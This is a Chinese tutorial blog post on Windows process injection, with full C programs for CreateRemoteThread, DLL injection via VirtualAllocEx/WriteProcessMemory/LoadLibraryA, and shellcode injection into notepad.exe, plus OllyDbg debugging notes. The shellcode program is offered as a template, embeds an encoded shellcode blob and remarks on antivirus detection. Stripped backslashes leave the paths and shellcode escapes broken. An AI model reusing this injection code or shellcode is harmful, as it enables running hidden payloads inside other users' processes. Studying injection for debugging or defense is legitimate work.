zoukankan      html  css  js  c++  java
  • 学习:远程线程实现DLL注入和shellcode注入以及OD调试原理

    远程线程:

    #include<windows.h>
    #include<stdio.h>
    
    //函数地址:00C31740
    
    
    int main() {
    	
    	HANDLE hThread;
    	HANDLE hProcess;
    
    	// 1、得到要在其进程中创建线程的进程句柄
    	hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,10940);
    
    	if (hProcess == NULL) {
    		OutputDebugString("OpenProcess fail");
    		return -1;
    	}
            // 2、通过进程句柄创建线程
    	hThread = CreateRemoteThread(
    		hProcess,
    		NULL,  //获取默认的安全描述符,当前用户的令牌权限 
    		0,  //使用可执行文件的默认大小
    		(LPTHREAD_START_ROUTINE)0x010817E0,  // 创建线程调用的函数
    		NULL,  // 传递函数中的参数
    		0, //线程在创建后立即运行 
    		NULL // 不返回线程标识符
    	);
    
    	if (hThread == NULL) {
    		OutputDebugString("CreateRemoteThread fail");
    		CloseHandle(hProcess);
    		return -1;
    	}
    
    	printf("线程启动!
    ");
    
            // 3、释放资源
    	CloseHandle(hThread);
    	getchar(); //进行堵塞
    	return 0;
    
    }
    

    远程线程注入

    #include<Windows.h>
    #include<Tlhelp32.h>
    #include<stdio.h>
    /*
    远程线程注入
    代码写的不太严谨,大家谅解
    */
    
    DWORD GetOneProcessPid(const char *FileName) {
    	HANDLE hSnapShot;
    	PROCESSENTRY32 pro32;
    
    	pro32.dwSize = sizeof(PROCESSENTRY32);
    	// 1、获得当前进程的快照
    
    	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    	if (hSnapShot == INVALID_HANDLE_VALUE) {
    		return -1;
    	}
    
    	bool bMore;
    	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
    	bMore = Process32First(hSnapShot, &pro32);
    	while (bMore) {
    		// 3、获取指定进程名称的PID
    		if (!strcmp(pro32.szExeFile, FileName)) {
    			return pro32.th32ProcessID;
    		}
    		bMore = Process32Next(hSnapShot, &pro32);  		//遍历
    	}
    
    	// 4、释放资源
    	CloseHandle(hSnapShot);
    
    	return 0;
    }
    DWORD WINAPI ThreadProc(LPVOID lpParameter) {
    	return 0;
    }
    
    bool LoadDll(DWORD ProcessPid,const char *DllPath) {
    	HANDLE hProcess;
    	DWORD DllPathLen;
    	PDWORD addr;
    	HMODULE hModule;
    	PDWORD FuncAddr;
    
    
    	// 1、获取要注入进程的句柄
    	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
    	if (hProcess == NULL) {
    		return false;
    	}
    
    	// 2、获取DLL的信息
    	DllPathLen = strlen(DllPath) + 1; //+1的原因结尾需要 结尾
    
    	// 3、申请指定进程中的内存
    	addr = (PDWORD)VirtualAllocEx(
    		hProcess, //申请指定进程的句柄
    		NULL,  // 安全描述符
    		DllPathLen,  // 申请内存的字节大小
    		MEM_COMMIT,  // 
    		PAGE_READWRITE // 内存的属性
    	);
    
    	printf("%x", addr);
    
    
    	// 4、将DLL的信息写入到要注入的进程内存中
    	WriteProcessMemory(hProcess, addr, DllPath, DllPathLen, NULL);
    
    	// 5、要获取其进程的LoadLibraryA/W的函数地址,该函数保存在系统中的Kernel32.dll中,那么需要先获得Kernel32.dll的句柄
    	hModule = GetModuleHandle("Kernel32.dll");
    
    	// 6、从中获得LoadLibraryA/W的函数地址
    	FuncAddr = (PDWORD)GetProcAddress(hModule, "LoadLibraryA"); //返回值为函数地址
    	
    	// 7、注入到指定进程中进行加载内存中申请的DLL信息,把LoadLibraryA的地址作为函数 来加载addr,也就是DLL的路径
    	CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(FuncAddr), addr, 0, NULL);
    	
    	return true;
    }
    
    
    int main() {
    	LoadDll(GetOneProcessPid("x.exe"),"C:\Users\dell\Desktop\test\DLL2.dll");
    	return 0;
    }
    

    OD调试:

    1、用OD附加被注入的进程

    2、在代码printf("%x", addr);,我这里显示的是如下

    OD中数据窗口跟随00690000,显示如下

    此时注入程序已经走过了WriteProcessMemory,到了GetProcAddrss代码段

    继续走完,然后OD F9一次,让被注入的进程跑起来,打开加载的模块窗口,发现模块中加载了DLL2.dll,线程注入成功


    shellcode注入的手段:被杀的很严重,估计是VirtualAllocEx特征太明显

    模板参考:

    #include<Windows.h>
    #include<Tlhelp32.h>
    #include<stdio.h>
    
    
    
    DWORD GetOneProcessPid(const char *FileName) {
    	HANDLE hSnapShot;
    	PROCESSENTRY32 pro32;
    
    	pro32.dwSize = sizeof(PROCESSENTRY32);
    	// 1、获得当前进程的快照
    
    	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    	if (hSnapShot == INVALID_HANDLE_VALUE) {
    		return -1;
    	}
    
    	bool bMore;
    	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
    	bMore = Process32First(hSnapShot, &pro32);
    	while (bMore) {
    		// 3、获取指定进程名称的PID
    		if (!strcmp(pro32.szExeFile, FileName)) {
    			return pro32.th32ProcessID;
    		}
    		bMore = Process32Next(hSnapShot, &pro32);       //遍历
    	}
    
    	// 4、释放资源
    	CloseHandle(hSnapShot);
    
    	return 0;
    }
    
    DWORD WINAPI ThreadProc(LPVOID lpParameter) {
    	return 0;
    }
    
    bool LoadShellcode(DWORD ProcessPid) {
    	HANDLE hProcess;
    	DWORD ShellcodeLen;
    	PDWORD addr;
    	char shellcode[] = 
    		"xf6xe2x88x0ax0ax0ax6ax83xefx3bxcax6ex81x5ax3ax81x58x06x81x58x1ex81x78x22x05xbdx40x2cx3bxf5xa6x36x6bx76x08x26"
    		"x2axcbxc5x07x0bxcdxe8xf8x58x5dx81x58x1ax81x40x36x81x46x1bx72xe9x42x0bxdbx5bx81x53x2ax0bxd9x81x43x12xe9x30x43"
    		"x81x3ex81x0bxdcx3bxf5xa6xcbxc5x07x0bxcdx32xeax7fxfcx09x77xf2x31x77x2ex7fxeex52x81x52x2ex0bxd9x6cx81x06x41x81"
    		"x52x16x0bxd9x81x0ex81x0bxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax55x55x50x81x18xe1x87x57x62x39x38x0ax0ax62x7d"
    		"x79x38x55x5ex62x46x7dx2cx0dx83xe2xf5xdaxb2x9ax0bx0ax0ax23xcex5ex5ax62x23x8ax61x0axf5xdfx60x00x62x72x45x48x30"
    		"x62x08x0ax14x6bx83xecx5ax5ax5ax5ax4ax5ax4ax5ax62xe0x05xd5xeaxf5xdfx9dx60x1ax5cx5dx62x93xafx7ex6bxf5xdfx8fxca"
    		"x7ex00xf5x44x02x7fxe6xe2x6dx0ax0ax0ax60x0ax60x0ex5cx5dx62x08xd3xc2x55xf5xdfx89xf2x0ax74x3cx81x3cx60x4ax62x0a"
    		"x1ax0ax0ax5cx60x0ax62x52xaex59xefxf5xdfx99x59x60x0ax5cx59x5dx62x08xd3xc2x55xf5xdfx89xf2x0ax77x22x52x62x0ax4a"
    		"x0ax0ax60x0ax5ax62x01x25x05x3axf5xdfx5dx62x7fx64x47x6bxf5xdfx54x54xf5x06x2ex05x8fx7axf5xf5xf5xe3x91xf5xf5xf5"
    		"x0bxc9x23xccx7fxcbxc9xb1xfaxbfxa8x5cx60x0ax59xf5xdf";
    	
    	// 1、获取要注入进程的句柄
    	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
    	if (hProcess == NULL) {
    		return false;
    	}
    	
    	// 2、获取shellcode的信息
    	ShellcodeLen = sizeof(shellcode); //+1的原因结尾需要 结尾
    	
    	// 3、申请指定进程中的内存
    	addr = (PDWORD)VirtualAllocEx(
    		hProcess, //申请指定进程的句柄
    		NULL,  // 安全描述符
    		ShellcodeLen,  // 申请内存的字节大小
    		MEM_COMMIT,  // 
    		PAGE_READWRITE // 内存的属性
    		);
    	
    	printf("%x", addr);
    
    	// 4、将shellcode的信息写入到要注入的进程内存中
    	WriteProcessMemory(hProcess, addr, shellcode, ShellcodeLen, NULL);
    
    
    	CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(addr), 0, 0, NULL);
    
    	return true;
    }
    
    
    int main() {
    	LoadShellcode(GetOneProcessPid("notepad.exe"));
    	return 0;
    }
    
  • 相关阅读:
    NopCommerce 增加 Customer Settings
    NopCommerce 增加 Customer Attributes
    [转]How to add new table in NopCommerce
    [转]教你一招
    [转]Oracle 修改或者删除临时表 ORA-14452: 试图创建, 更改或删除正在使用的临时表中的索引
    NopCommerce 发布时 Could not load file or assembly 'file:///...Autofac.3.5.2lib et40Autofac.dll' or one of its dependencies
    NopCommerce 关于Customer的会员类别及会员价处理 的尝试途径
    诸葛亮-诫子书
    [书目20161206]小狗钱钱的人生整理术
    [转]NopCommerce How to code my own payment method
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12259395.html
Copyright © 2011-2022 走看看